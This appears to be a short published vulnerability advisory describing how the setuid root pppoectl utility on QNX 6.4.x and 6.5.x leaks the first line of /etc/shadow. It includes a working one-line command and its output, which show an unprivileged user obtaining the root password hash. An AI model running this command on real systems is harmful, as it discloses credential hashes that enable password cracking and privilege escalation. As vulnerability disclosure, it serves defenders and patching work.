QNX 6.4.x / 6.5.x /etc/shadow Disclosure

`#  
# QNX 6.4.x/6.5.x pppoectl disclose /etc/shadow by cenobyte 2013  
# <[email protected]>  
#  
# - vulnerability description:  
# QNX setuid root /sbin/pppoectl allows any user to gain access to privileged  
# information such as the root password hash.  
#  
# The vulnerability exists because of a failure to drop privileges or check the  
# permissions and ownership on the file specified as the configuration file.  
#  
# If a user specifies a file such as /etc/shadow, pppoectl will display the  
# first line of the shadow file in the error output.  
#  
# - vulnerable platforms:  
# QNX 6.5.0SP1  
# QNX 6.5.0  
# QNX 6.4.1  
  
$ id  
uid=100(user) gid=100  
  
$ ls -la /etc/shadow  
-rw------- 1 root root 69 Oct 10 16:55 /etc/shadow  
$ pppoectl -f /etc/shadow lo0  
pppoectl: bad parameter: "root:QSkSGrRQOSLoO:1380296317:0:0"  
`